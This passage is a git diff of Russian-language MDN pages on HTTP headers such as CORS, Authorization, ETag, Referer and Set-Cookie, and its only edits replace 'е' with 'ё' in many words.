                    • Firefox: {{bug(1309358)}}
                      • diff --git a/files/ru/web/http/headers/access-control-allow-methods/index.html b/files/ru/web/http/headers/access-control-allow-methods/index.html index 788d616348..1f6b997095 100644 --- a/files/ru/web/http/headers/access-control-allow-methods/index.html +++ b/files/ru/web/http/headers/access-control-allow-methods/index.html @@ -34,7 +34,7 @@ original_slug: Web/HTTP/Заголовки/Access-Control-Allow-Methods
                      <method>
                      -
                      Разделенный запятыми список доступных методов HTTP запросов.
                      +
                      Разделённый запятыми список доступных методов HTTP запросов.

                      Примеры

                      @@ -67,7 +67,7 @@ original_slug: Web/HTTP/Заголовки/Access-Control-Allow-Methods

                      Замечания по совместимости

                        -
                      • Подстановочное значение (*), которое упоминается в последней спецификации еще не реализовано в браузерах: +
                      • Подстановочное значение (*), которое упоминается в последней спецификации ещё не реализовано в браузерах:
                        • Chromium: Issue 615313
                        • Firefox: {{bug(1309358)}}
                          • diff --git a/files/ru/web/http/headers/access-control-allow-origin/index.html b/files/ru/web/http/headers/access-control-allow-origin/index.html index 402d34c996..a8c83a5fb6 100644 --- a/files/ru/web/http/headers/access-control-allow-origin/index.html +++ b/files/ru/web/http/headers/access-control-allow-origin/index.html @@ -32,7 +32,7 @@ Access-Control-Allow-Origin: null
                          *
                          -
                          Для запросов без учетных данных. Значение "*" может быть использован как шаблон; значение указывает браузеру разрешить запросы из любых источников. Попытка использовать шаблон с учетными данными приведет к ошибке.
                          +
                          Для запросов без учётных данных. Значение "*" может быть использован как шаблон; значение указывает браузеру разрешить запросы из любых источников. Попытка использовать шаблон с учётными данными приведёт к ошибке.
                          <origin>
                          Указывает источник. Может быть указан только один источник.
                          null
                          @@ -51,7 +51,7 @@ Access-Control-Allow-Origin: null 
                          Access-Control-Allow-Origin: https://developer.mozilla.org
                          -

                          Чтобы ограничить Access-Control-Allow-Origin разрешенным набором значений, необходимо реализовать логику на стороне сервера для проверки значения заголовка {{HTTPHeader("Origin")}} запроса, сравнить его с разрешенным списком источников, а затем, если значение {{HTTPHeader("Origin")}} присутствует в списке, задать значение Access-Control-Allow-Origin, равное значению {{HTTPHeader("Origin")}}.

                          +

                          Чтобы ограничить Access-Control-Allow-Origin разрешённым набором значений, необходимо реализовать логику на стороне сервера для проверки значения заголовка {{HTTPHeader("Origin")}} запроса, сравнить его с разрешённым списком источников, а затем, если значение {{HTTPHeader("Origin")}} присутствует в списке, задать значение Access-Control-Allow-Origin, равное значению {{HTTPHeader("Origin")}}.

                          CORS и кэширование

                          diff --git a/files/ru/web/http/headers/access-control-max-age/index.html b/files/ru/web/http/headers/access-control-max-age/index.html index b889deae0f..2653520439 100644 --- a/files/ru/web/http/headers/access-control-max-age/index.html +++ b/files/ru/web/http/headers/access-control-max-age/index.html @@ -13,7 +13,7 @@ original_slug: Web/HTTP/Заголовки/Access-Control-Max-Age
                  - + diff --git a/files/ru/web/http/headers/authorization/index.html b/files/ru/web/http/headers/authorization/index.html index 462f6f0c57..71566867b0 100644 --- a/files/ru/web/http/headers/authorization/index.html +++ b/files/ru/web/http/headers/authorization/index.html @@ -20,7 +20,7 @@ original_slug: Web/HTTP/Заголовки/Authorization - + @@ -43,12 +43,12 @@ original_slug: Web/HTTP/Заголовки/Authorization
                  <данные пользователя>
                  Если используется схема авторизации «Базовая», данные пользователя формируются следующим образом:
                    -
                  • Логин и пароль, разделенные двоеточием (aladdin:opensesame).
                    • +
                  • Логин и пароль, разделённые двоеточием (aladdin:opensesame).
                  • Результирующая строка, закодированная в base64 (YWxhZGRpbjpvcGVuc2VzYW1l).
                  -

                  Примечание: Кодировка Base64 не означает шифрование или хэширование! Этот метод так же небезопасен, как и отправка учетных данных в открытом виде (base64 является обратимой кодировкой). Отдавайте предпочтение использованию HTTPS в сочетании с Базовой Авторизацией.

                  +

                  Примечание: Кодировка Base64 не означает шифрование или хэширование! Этот метод так же небезопасен, как и отправка учётных данных в открытом виде (base64 является обратимой кодировкой). Отдавайте предпочтение использованию HTTPS в сочетании с Базовой Авторизацией.

                  diff --git a/files/ru/web/http/headers/cache-control/index.html b/files/ru/web/http/headers/cache-control/index.html index 4d1165c324..70acce7e01 100644 --- a/files/ru/web/http/headers/cache-control/index.html +++ b/files/ru/web/http/headers/cache-control/index.html @@ -87,7 +87,7 @@ Cache-Control: stale-if-error=<seconds>
                  max-age=<seconds>
                  -
                  Задает максимальное время в течение которого ресурс будет считаться актуальным. В отличие от Expires, данная инструкция является относительной по отношению ко времени запроса.
                  +
                  Задаёт максимальное время в течение которого ресурс будет считаться актуальным. В отличие от Expires, данная инструкция является относительной по отношению ко времени запроса.
                  s-maxage=<seconds>
                  Переопределяет max-age или заголовок Expires, но применяется только для разделяемых кэшей (например, прокси) и игнорируется частными кэшами.
                  max-stale[=<seconds>]
                  diff --git a/files/ru/web/http/headers/connection/index.html b/files/ru/web/http/headers/connection/index.html index 1470326d45..a68e883264 100644 --- a/files/ru/web/http/headers/connection/index.html +++ b/files/ru/web/http/headers/connection/index.html @@ -11,7 +11,7 @@ original_slug: Web/HTTP/Заголовки/Connection ---
                  {{HTTPSidebar}}
                  -

                  Заголовок Connection определяет, остается ли сетевое соединение активным после завершения текущей транзакции (запроса). Если в запросе отправлено значение keep-alive, то соединение остается и не завершается, позволяя выполнять последующие запросы на тот же сервер.

                  +

                  Заголовок Connection определяет, остаётся ли сетевое соединение активным после завершения текущей транзакции (запроса). Если в запросе отправлено значение keep-alive, то соединение остаётся и не завершается, позволяя выполнять последующие запросы на тот же сервер.

                  Заголовки, связанные с соединением, такие как {{HTTPHeader("Connection")}} и {{HTTPHeader("Keep-Alive")}}, запрещены в HTTP/2. Chrome и Firefox просто игнорируют эти заголовки в HTTP/2 ответах, однако Safari, следуя требованиям HTTP/2, вообще не будет загружать какие-либо ответы, которые содержат данные заголовки.

                  @@ -26,7 +26,7 @@ original_slug: Web/HTTP/Заголовки/Connection
                  - + diff --git a/files/ru/web/http/headers/content-disposition/index.html b/files/ru/web/http/headers/content-disposition/index.html index 144fb4b808..70ad08a53a 100644 --- a/files/ru/web/http/headers/content-disposition/index.html +++ b/files/ru/web/http/headers/content-disposition/index.html @@ -36,7 +36,7 @@ original_slug: Web/HTTP/Заголовки/Content-Disposition

                  Как заголовок ответа с обычным телом

                  -

                  Первым параметром в контексте HTTP должен быть или inline (это значение по умолчанию, указывающее, что контент должен быть отображен внутри веб-страницы или как веб-страница) или attachment (указывает на скачиваемый контент; большинство браузеров отображают диалог "Сохранить как" с заранее заполненным именем файла из параметра filename, если он задан).

                  +

                  Первым параметром в контексте HTTP должен быть или inline (это значение по умолчанию, указывающее, что контент должен быть отображён внутри веб-страницы или как веб-страница) или attachment (указывает на скачиваемый контент; большинство браузеров отображают диалог "Сохранить как" с заранее заполненным именем файла из параметра filename, если он задан).

                  Content-Disposition: inline
 Content-Disposition: attachment
diff --git a/files/ru/web/http/headers/content-encoding/index.html b/files/ru/web/http/headers/content-encoding/index.html
index 47c1db50a5..2584223a02 100644
--- a/files/ru/web/http/headers/content-encoding/index.html
+++ b/files/ru/web/http/headers/content-encoding/index.html
@@ -10,7 +10,7 @@ original_slug: Web/HTTP/Заголовки/Content-Encoding
 ---
 
                  {{HTTPSidebar}}
                  
 
-
                  Content-Encoding - это сущность заголовка, используемая для сжатия медиа-типа. При наличии ее значение определяет кодировку, примененную к сущности body. Это позволяет клиенту информацию как декодировать body, чтобы получить медиа-тип ссылающийся на  заголовок Content-Type 
                  
+
                  Content-Encoding - это сущность заголовка, используемая для сжатия медиа-типа. При наличии её значение определяет кодировку, применённую к сущности body. Это позволяет клиенту информацию как декодировать body, чтобы получить медиа-тип ссылающийся на  заголовок Content-Type 
                  
 
 
                  Рекомендация - сжимать данные насколько это возможно и следовательно использовать это поле, но некоторые типы данных, такие как изображения в формате jpeg, уже сжаты. Иногда, использование дополнительного сжатия не уменьшает размер пакета и даже может сделать загрузку дольше.
                  
 
diff --git a/files/ru/web/http/headers/content-language/index.html b/files/ru/web/http/headers/content-language/index.html
index bf273885a3..04d7618e57 100644
--- a/files/ru/web/http/headers/content-language/index.html
+++ b/files/ru/web/http/headers/content-language/index.html
@@ -46,7 +46,7 @@ Content-Language: de-DE, en-CA
 
 
                  
  
                  language-tag
                  
- 
                  Несколько языковых тегов разделяются запятыми. Каждый языковой тег представляет собой последовательность из одного или нескольких подтегов без учета регистра, разделенных символом дефиса ("-", %x2D).
                  
+ 
                  Несколько языковых тегов разделяются запятыми. Каждый языковой тег представляет собой последовательность из одного или нескольких подтегов без учёта регистра, разделённых символом дефиса ("-", %x2D).
                  
  
                  В большинстве случаев языковой тег состоит из подтега основного языка, который идентифицирует широкое семейство родственных языков (например, "en" = English), за которым дополнительно следует ряд подтегов, уточняющих или сужающих диапазон этого языка (например, "en-CA" = вариант диалекта английского языка, использующегося в Канаде).
                  
 
                  
 
diff --git a/files/ru/web/http/headers/date/index.html b/files/ru/web/http/headers/date/index.html
index 164663440a..c9bb0be9d6 100644
--- a/files/ru/web/http/headers/date/index.html
+++ b/files/ru/web/http/headers/date/index.html
@@ -20,7 +20,7 @@ original_slug: Web/HTTP/Заголовки/Date
                  - + @@ -37,17 +37,17 @@ original_slug: Web/HTTP/Заголовки/Date
                  <day-name>
                  Одно из "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", или "Sun" (регистрозависимое значение).
                  <day>
                  -
                  Номер дня с ведущим нулем, например "04" или "23".
                  +
                  Номер дня с ведущим нулём, например "04" или "23".
                  <month>
                  Один из "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (регистрозависимое значение).
                  <year>
                  Год из 4-х символов, например "1990" или "2016".
                  <hour>
                  -
                  Часы с ведущим нулем, например "09" или "23".
                  +
                  Часы с ведущим нулём, например "09" или "23".
                  <minute>
                  -
                  Минуты с ведущим нулем, например "04" или "59".
                  +
                  Минуты с ведущим нулём, например "04" или "59".
                  <second>
                  -
                  Секунды с ведущим нулем, например "04" или "59".
                  +
                  Секунды с ведущим нулём, например "04" или "59".
                  GMT

                  Время по Гринвичу. HTTP даты всегда представлены в GMT, а не в локальном времени

                  diff --git a/files/ru/web/http/headers/etag/index.html b/files/ru/web/http/headers/etag/index.html index 4d5e8ae282..7f8b3a6ce7 100644 --- a/files/ru/web/http/headers/etag/index.html +++ b/files/ru/web/http/headers/etag/index.html @@ -17,7 +17,7 @@ original_slug: Web/HTTP/Заголовки/ETag
                  - + @@ -35,7 +35,7 @@ ETag: "<etag_value>"
                  W/ {{optional_inline}}
                  'W/' (чувствителен к регистру) указывает, что используется слабый валидатор. Слабые валидаторы легко сгенерировать, но они намного реже используются для сравнения. Сильные валидаторы идеальны для сравнения, но их может быть очень сложно сгенерировать эффективно. Слабое значение Etag двух представлений одного и того же ресурса может быть семантически одинаково, но не байт-в-байт.
                  "<etag_value>"
                  -
                  Тэг сущности, уникально представляющий запрашиваемый ресурс. Это строка ASCII кодов, заключенная в двойные кавычки (например, "675af34563dc-tr34"). Метод, по которому генерируются значения ETag, не определен. Обычно, используется хэш контента, хэш последнего времени модификации или просто номер ревизии. Например, MDN использует шестнадцатеричных хэш wiki-содержимого.
                  +
                  Тэг сущности, уникально представляющий запрашиваемый ресурс. Это строка ASCII кодов, заключённая в двойные кавычки (например, "675af34563dc-tr34"). Метод, по которому генерируются значения ETag, не определён. Обычно, используется хэш контента, хэш последнего времени модификации или просто номер ревизии. Например, MDN использует шестнадцатеричных хэш wiki-содержимого.

                  Примеры

                  @@ -63,7 +63,7 @@ ETag: W/"0815" 
                  If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"
                  -

                  После чего сервер сравнит клиентский ETag (отправленный с помощью If-None-Match) с ETag для текущей версии ресурса и, если их значения совпадают (т.е. ресурсы не были изменены), сервер вернет статус {{HTTPStatus("304")}} Not Modified, без тела ответа. Такой ответ сервера сообщает клиенту, что закешированная версия ресурса актуальна и готова к использованию.

                  +

                  После чего сервер сравнит клиентский ETag (отправленный с помощью If-None-Match) с ETag для текущей версии ресурса и, если их значения совпадают (т.е. ресурсы не были изменены), сервер вернёт статус {{HTTPStatus("304")}} Not Modified, без тела ответа. Такой ответ сервера сообщает клиенту, что закешированная версия ресурса актуальна и готова к использованию.

                  Спецификации

                  diff --git a/files/ru/web/http/headers/expect/index.html b/files/ru/web/http/headers/expect/index.html index f6182f09c7..5e4e355851 100644 --- a/files/ru/web/http/headers/expect/index.html +++ b/files/ru/web/http/headers/expect/index.html @@ -8,7 +8,7 @@ original_slug: Web/HTTP/Заголовки/Expect

                  Запрос "HTTP Expect" указывает ожидания, которые должен выполнить сервер, чтобы правильно обработать запрос.

                  -

                  Единственным ожиданием, определенным в спецификации, является "Expect: 100-continue", на который сервер должен ответить:

                  +

                  Единственным ожиданием, определённым в спецификации, является "Expect: 100-continue", на который сервер должен ответить:

                  • {{HTTPStatus("100")}} если информации, содержащейся в заголовке, достаточно, чтобы вызвать немедленный успех,
                    • diff --git a/files/ru/web/http/headers/expires/index.html b/files/ru/web/http/headers/expires/index.html index f388db7437..b5b0c6cf1b 100644 --- a/files/ru/web/http/headers/expires/index.html +++ b/files/ru/web/http/headers/expires/index.html @@ -24,7 +24,7 @@ original_slug: Web/HTTP/Заголовки/Expires
                  - + diff --git a/files/ru/web/http/headers/if-match/index.html b/files/ru/web/http/headers/if-match/index.html index 1f46b5bbb1..d6ec7f0b9a 100644 --- a/files/ru/web/http/headers/if-match/index.html +++ b/files/ru/web/http/headers/if-match/index.html @@ -10,7 +10,7 @@ original_slug: Web/HTTP/Заголовки/If-Match

                  Сравнение с хранимым {{HTTPHeader("ETag")}} использует сильный алгоритм сравнения, то есть два файла считаются одинаковыми байтами только байтом. Это ослабляется, когда префикс W/используется перед ETag.

                  -

                  Существует два распространенных варианта использования:

                  +

                  Существует два распространённых варианта использования:

                  • Для методов {{HTTPMethod("GET")}} и {{HTTPMethod("HEAD")}}, используемых в сочетании с {{HTTPHeader("Range")}}, он может гарантировать, что запрашиваемые новые диапазоны с того же ресурса, что и предыдущий. Если он не соответствует, то возвращается ответ {{HTTPStatus("416")}} (Range Not Satisfiable).
                    • @@ -40,9 +40,9 @@ If-Match: <etag_value>, <etag_value>, …
                    <etag_value>
                    -
                    Теги объектов, однозначно представляющие запрошенные ресурсы. Они представляют собой строку символов ASCII, помещенных между двойными кавычками (например, "675af34563dc-tr34") и могут быть префиксами W/, чтобы указать, что следует использовать слабый алгоритм сравнения.
                    +
                    Теги объектов, однозначно представляющие запрошенные ресурсы. Они представляют собой строку символов ASCII, помещённых между двойными кавычками (например, "675af34563dc-tr34") и могут быть префиксами W/, чтобы указать, что следует использовать слабый алгоритм сравнения.
                    *
                    -
                    Звездочка представляет собой специальное значение, представляющее любой ресурс.
                    +
                    Звёздочка представляет собой специальное значение, представляющее любой ресурс.

                    Примеры

                    diff --git a/files/ru/web/http/headers/if-modified-since/index.html b/files/ru/web/http/headers/if-modified-since/index.html index 5b6563036e..8adad2f7cc 100644 --- a/files/ru/web/http/headers/if-modified-since/index.html +++ b/files/ru/web/http/headers/if-modified-since/index.html @@ -11,11 +11,11 @@ original_slug: Web/HTTP/Заголовки/If-Modified-Since ---
                    {{HTTPSidebar}}
                    -

                    Заголовок HTTP запроса If-Modified-Since делает запрос условным: сервер отправит обратно запрошенный ресурс с статусом {{HTTPStatus("200")}}, только если он был изменен после указанной даты. Если запрос не был изменен после указанной даты, ответ будет {{HTTPStatus("304")}} без какого-либо тела; заголовок {{HTTPHeader("Last-Modified")}} при этом будет содержать дату последней модификации. В отличие от {{HTTPHeader("If-Unmodified-Since")}}, If-Modified-Since может использоваться только с {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}.

                    +

                    Заголовок HTTP запроса If-Modified-Since делает запрос условным: сервер отправит обратно запрошенный ресурс с статусом {{HTTPStatus("200")}}, только если он был изменён после указанной даты. Если запрос не был изменён после указанной даты, ответ будет {{HTTPStatus("304")}} без какого-либо тела; заголовок {{HTTPHeader("Last-Modified")}} при этом будет содержать дату последней модификации. В отличие от {{HTTPHeader("If-Unmodified-Since")}}, If-Modified-Since может использоваться только с {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}.

                    При использовании в сочетании с {{HTTPHeader("If-None-Match")}} заголовок If-Modified-Since игнорируется, кроме тех случаев, когда сервер не поддерживает If-None-Match.

                    -

                    Наиболее распространенным вариантом использования является обновление кэшированного объекта, не связанного с {{HTTPHeader("ETag")}}.

                    +

                    Наиболее распространённым вариантом использования является обновление кэшированного объекта, не связанного с {{HTTPHeader("ETag")}}.

                  {{Glossary("Request header")}}
                  {{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}} нет
                  {{Glossary("Заголовок ответа")}}
                  {{Glossary("Запрещенное имя заголовка")}}{{Glossary("Запрещённое имя заголовка")}} нет
                  {{Glossary("Request header")}}
                  {{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}} Нет
                  {{Glossary("General header", "Общий заголовок")}}
                  {{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}} да
                  {{Glossary("Основной")}}
                  {{Glossary("Запрещенное имя заголовка")}}{{Glossary("Запрещённое имя заголовка")}} да
                  {{Glossary("Заголовок ответа")}}
                  {{Glossary("Запрещенное имя заголовка")}}{{Glossary("Запрещённое имя заголовка")}} нет
                  {{Glossary("Response header")}}
                  {{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}} нет
                  diff --git a/files/ru/web/http/headers/if-unmodified-since/index.html b/files/ru/web/http/headers/if-unmodified-since/index.html index 93a843facc..a9b70ee934 100644 --- a/files/ru/web/http/headers/if-unmodified-since/index.html +++ b/files/ru/web/http/headers/if-unmodified-since/index.html @@ -12,12 +12,12 @@ original_slug: Web/HTTP/Заголовки/If-Unmodified-Since

                  {{HTTPSidebar}}

                  -

                  HTTP-заголовок запроса If-Unmodified-Since делает запрос условным: сервер отправит обратно запрошенный ресурс или примет его в случае {{HTTPMethod("POST")}} или другого {{Glossary("safe", "небезопасного")}} метода, только если он не был последним изменен после указанной даты. Если запрос был изменен после указанной даты, то ответ будет {{HTTPStatus("412")}} (Precondition Failed) ошибка.

                  +

                  HTTP-заголовок запроса If-Unmodified-Since делает запрос условным: сервер отправит обратно запрошенный ресурс или примет его в случае {{HTTPMethod("POST")}} или другого {{Glossary("safe", "небезопасного")}} метода, только если он не был последним изменён после указанной даты. Если запрос был изменён после указанной даты, то ответ будет {{HTTPStatus("412")}} (Precondition Failed) ошибка.

                  -

                  Существует два распространенных варианта использования:

                  +

                  Существует два распространённых варианта использования:

                    -
                  • В сочетании с другими {{Glossary("safe", "небезопасными")}} методами, такими как {{HTTPMethod("POST")}}, он может использоваться для реализации optimistic concurrency control, например, сделанного некоторыми вики-версиями: выпуски отклоняются, если сохраненный документ был изменен с момента восстановления оригинала.
                    • +
                  • В сочетании с другими {{Glossary("safe", "небезопасными")}} методами, такими как {{HTTPMethod("POST")}}, он может использоваться для реализации optimistic concurrency control, например, сделанного некоторыми вики-версиями: выпуски отклоняются, если сохранённый документ был изменён с момента восстановления оригинала.
                  diff --git a/files/ru/web/http/headers/index.html b/files/ru/web/http/headers/index.html index ddb86dab64..7c1de3ac7b 100644 --- a/files/ru/web/http/headers/index.html +++ b/files/ru/web/http/headers/index.html @@ -52,11 +52,11 @@ original_slug: Web/HTTP/Заголовки {{HTTPHeader("WWW-Authenticate")}}
                  Определяет метод аутентификации, который должен использоваться для доступа к ресурсу.
                  {{HTTPHeader ( "Authorization")}}
                  - Содержит учетные данные для аутентификации агента пользователя на сервере.
                  + Содержит учётные данные для аутентификации агента пользователя на сервере.
                  {{HTTPHeader ( "Proxy-Authenticate")}}
                  Определяет метод аутентификации, который должен использоваться для доступа к ресурсам на прокси-сервере.
                  {{HTTPHeader ( "Proxy-Authorization")}}
                  - Содержит учетные данные для аутентификации агента пользователя с прокси-сервером.

                  + Содержит учётные данные для аутентификации агента пользователя с прокси-сервером.

                  Ниже перечислены основные HTTP заголовки с кратким описанием:

                  @@ -192,7 +192,7 @@ original_slug: Web/HTTP/Заголовки                   - + diff --git a/files/ru/web/http/headers/last-modified/index.html b/files/ru/web/http/headers/last-modified/index.html index 2c7518129c..05b7486ea6 100644 --- a/files/ru/web/http/headers/last-modified/index.html +++ b/files/ru/web/http/headers/last-modified/index.html @@ -11,7 +11,7 @@ original_slug: Web/HTTP/Заголовки/Last-Modified ---
                  {{HTTPSidebar}}
                  -

                  Заголовок Last-Modified в ответе HTTP содержит дату и время, в которую, по мнению удаленного сервера, запрашиваемый ресурс был изменен. Он используется в качестве средства проверки для определения того, остался ли ресурс неизменным. Этот заголовок менее надежный, чем {{HTTPHeader("ETag")}}, и используется как резервный механизм. Условный запрос, содержащий заголовок {{HTTPHeader("If-Modified-Since")}} или {{HTTPHeader("If-Unmodified-Since")}} позволяет серверу использовать для сравнения эту дату.

                  +

                  Заголовок Last-Modified в ответе HTTP содержит дату и время, в которую, по мнению удалённого сервера, запрашиваемый ресурс был изменён. Он используется в качестве средства проверки для определения того, остался ли ресурс неизменным. Этот заголовок менее надёжный, чем {{HTTPHeader("ETag")}}, и используется как резервный механизм. Условный запрос, содержащий заголовок {{HTTPHeader("If-Modified-Since")}} или {{HTTPHeader("If-Unmodified-Since")}} позволяет серверу использовать для сравнения эту дату.

                  ConnectionОпределяет, остается ли сетевое соединение открытым после завершения текущей транзакции (запроса).Определяет, остаётся ли сетевое соединение открытым после завершения текущей транзакции (запроса).
                  diff --git a/files/ru/web/http/headers/pragma/index.html b/files/ru/web/http/headers/pragma/index.html index 5ee1b0060f..3e6b8a9057 100644 --- a/files/ru/web/http/headers/pragma/index.html +++ b/files/ru/web/http/headers/pragma/index.html @@ -9,10 +9,10 @@ original_slug: Web/HTTP/Заголовки/Pragma ---
                  {{HTTPSidebar}}
                  -

                  Общий заголовок Pragma HTTP / 1.0 - это заголовок, зависящий от реализации, который может иметь различные эффекты в цепочке запрос-ответ. Он используется для обратной совместимости с кэшами HTTP / 1.0, где заголовок Cache-Control HTTP / 1.1 еще не присутствует.

                  +

                  Общий заголовок Pragma HTTP / 1.0 - это заголовок, зависящий от реализации, который может иметь различные эффекты в цепочке запрос-ответ. Он используется для обратной совместимости с кэшами HTTP / 1.0, где заголовок Cache-Control HTTP / 1.1 ещё не присутствует.

                  -

                  Примечание: Pragma не указана для ответов HTTP и поэтому не является надежной заменой общего заголовка управления кэшем HTTP/1.1, хотя она ведет себя так же, как Cache-Control: no-cache, если поле заголовка управления кэшем опущено в запросе. Используйте Pragma только для обратной совместимости с клиентами HTTP / 1.0.

                  +

                  Примечание: Pragma не указана для ответов HTTP и поэтому не является надёжной заменой общего заголовка управления кэшем HTTP/1.1, хотя она ведёт себя так же, как Cache-Control: no-cache, если поле заголовка управления кэшем опущено в запросе. Используйте Pragma только для обратной совместимости с клиентами HTTP / 1.0.

                  @@ -67,7 +67,7 @@ original_slug: Web/HTTP/Заголовки/Pragma

                  Совместимость браузера

                  - +

                  {{Compat("http.headers.Pragma")}}

                  diff --git a/files/ru/web/http/headers/referer/index.html b/files/ru/web/http/headers/referer/index.html index f227769466..d80a71b11a 100644 --- a/files/ru/web/http/headers/referer/index.html +++ b/files/ru/web/http/headers/referer/index.html @@ -10,14 +10,14 @@ original_slug: Web/HTTP/Заголовки/Referer ---
                  {{HTTPSidebar}}
                  -

                  Заголовок запроса Referer содержит URL исходной страницы, с которой был осуществлен переход на текущую страницу. Заголовок Referer позволяет серверу узнать откуда был осуществлен переход на запрашиваемую страницу. Сервер может анализировать эти данные, записывать их в логи или оптимизировать процесс кэширования.

                  +

                  Заголовок запроса Referer содержит URL исходной страницы, с которой был осуществлён переход на текущую страницу. Заголовок Referer позволяет серверу узнать откуда был осуществлён переход на запрашиваемую страницу. Сервер может анализировать эти данные, записывать их в логи или оптимизировать процесс кэширования.

                  Обратите внимание, что слово «Referer» на самом деле является неправильным написанием слова «Referrer». См. {{interwiki("wikipedia", "HTTP_referer", "HTTP referer на Wikipedia")}} .

                  -

                  Заголовок Referer может раскрыть информацию пользователя об истории посещенных страниц, что может привести к нарушению приватности.

                  +

                  Заголовок Referer может раскрыть информацию пользователя об истории посещённых страниц, что может привести к нарушению приватности.

                  -

                  Поэтому, никогда не ссылайтесь и не включайте на страницу контент без предварительной проверки конфиденциальности, безопасности и сопряженных с этим рисков, в том числе на страницах, которые не содержат информации о риске, но связаны с ним.

                  +

                  Поэтому, никогда не ссылайтесь и не включайте на страницу контент без предварительной проверки конфиденциальности, безопасности и сопряжённых с этим рисков, в том числе на страницах, которые не содержат информации о риске, но связаны с ним.

                  К примеру, по умолчанию URL страницы сброса пароля будет попадать на хосты, размещающие контент на странице, и хосты ссылок, нажатых на этой странице. В обоих случаях сторонний хост получит Referer пользователя.

                  @@ -32,7 +32,7 @@ original_slug: Web/HTTP/Заголовки/Referer
                  • исходный ресурс -- локальный "файл" или "data" URI,
                    • -
                  • используется незащищенный HTTP-запрос, а исходная страница была получена с защищенным протоколом (HTTPS).
                    • +
                  • используется незащищённый HTTP-запрос, а исходная страница была получена с защищённым протоколом (HTTPS).
                  @@ -57,7 +57,7 @@ original_slug: Web/HTTP/Заголовки/Referer
                  <url>
                  -
                  Абсолютный или частичный адрес предыдущей веб-страницы, с которой был осуществлен переход на запрашиваемую страницу. Фрагменты URL-адреса (т.к. #якорь") и данные пользователя(т.к. "логин:пароль" в "https://username:password@example.com/foo/bar/") не включать.
                  +
                  Абсолютный или частичный адрес предыдущей веб-страницы, с которой был осуществлён переход на запрашиваемую страницу. Фрагменты URL-адреса (т.к. #якорь") и данные пользователя(т.к. "логин:пароль" в "https://username:password@example.com/foo/bar/") не включать.

                  Пример

                  diff --git a/files/ru/web/http/headers/retry-after/index.html b/files/ru/web/http/headers/retry-after/index.html index 75b793195e..6161a8dbee 100644 --- a/files/ru/web/http/headers/retry-after/index.html +++ b/files/ru/web/http/headers/retry-after/index.html @@ -42,7 +42,7 @@ Retry-After: <delay-seconds>
                  <http-date>
                  -
                  Дата, после которой пытаться еще раз. За документацией к HTTP дате, обратитесь сюда: {{HTTPHeader("Дата")}}.
                  +
                  Дата, после которой пытаться ещё раз. За документацией к HTTP дате, обратитесь сюда: {{HTTPHeader("Дата")}}.
                  <delay-seconds>
                  Неотрицательное число секунд, показывающее время ожидания перед новым запросом.
                  @@ -51,7 +51,7 @@ Retry-After: <delay-seconds>

                  Работа с запланированным временем простоя

                  -

                  Поддержка Retry-After реализована еще не везде. Впрочем, некоторые боты, к примеру Googlebot, понимает заголовок Retry-After. В данном случае полезно отправлять его с кодом {{HTTPStatus(503)}} (Service Unavailable), чтобы поисковики продолжили индексировать после простоя

                  +

                  Поддержка Retry-After реализована ещё не везде. Впрочем, некоторые боты, к примеру Googlebot, понимает заголовок Retry-After. В данном случае полезно отправлять его с кодом {{HTTPStatus(503)}} (Service Unavailable), чтобы поисковики продолжили индексировать после простоя

                  Retry-After: Wed, 21 Oct 2015 07:28:00 GMT
 Retry-After: 120
diff --git a/files/ru/web/http/headers/set-cookie/index.html b/files/ru/web/http/headers/set-cookie/index.html
index 1898f6cf56..90c65266d9 100644
--- a/files/ru/web/http/headers/set-cookie/index.html
+++ b/files/ru/web/http/headers/set-cookie/index.html
@@ -63,14 +63,14 @@ Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
  
                  Cookie начинается с пары имя-значение:
  
                    
   
                  • <cookie-name> может содержать любые символы US-ASCII, за исключением управляющих символов (CTLs), пробелов, или табуляций. Оно также не должно содержать разделительных символов, таких как следующие: ( ) < > @ , ; : \ " /  [ ] ? = { }.
                    • 
-  
                  • <cookie-value> может быть опционально заключено в двойные кавычки,   разрешены любые символы US-ASCII за исключением CTLs, пробела, двойных кавычек, запятой, точки с запятой, и обратного слеша. Кодирование: Многие реализации выполняют кодирование в значениях cookies, однако этого не требуется по спецификации RFC.  Однако, это помогает удовлетворить требование о разрешенных символах в <cookie-value>.
                    • 
-  
                  • __Secure- prefix {{non-standard_inline}}: Cookies с именем, начинающимся с   __Secure- (подчеркивание является частью префикса ) должны быть установлены вместе с флагом secure, и должны быть с безопасной страницы (HTTPS).
                    • 
-  
                  • __Host- prefix {{non-standard_inline}}: Cookies с именем, начинающимся с __Host- должны быть установлены с флагом secure secure, должны быть с безопасной страницы (HTTPS),  не должны иметь определенный домен (и, следовательно, не не посылаются поддоменами), а также параметр Path должен быть "/".
                    • 
+  
                  • <cookie-value> может быть опционально заключено в двойные кавычки,   разрешены любые символы US-ASCII за исключением CTLs, пробела, двойных кавычек, запятой, точки с запятой, и обратного слеша. Кодирование: Многие реализации выполняют кодирование в значениях cookies, однако этого не требуется по спецификации RFC.  Однако, это помогает удовлетворить требование о разрешённых символах в <cookie-value>.
                    • 
+  
                  • __Secure- prefix {{non-standard_inline}}: Cookies с именем, начинающимся с   __Secure- (подчёркивание является частью префикса ) должны быть установлены вместе с флагом secure, и должны быть с безопасной страницы (HTTPS).
                    • 
+  
                  • __Host- prefix {{non-standard_inline}}: Cookies с именем, начинающимся с __Host- должны быть установлены с флагом secure secure, должны быть с безопасной страницы (HTTPS),  не должны иметь определённый домен (и, следовательно, не не посылаются поддоменами), а также параметр Path должен быть "/".
                    • 
  
                  
  
                  
  
                  Expires=<date> {{optional_inline}}
                  
  
                  
- 
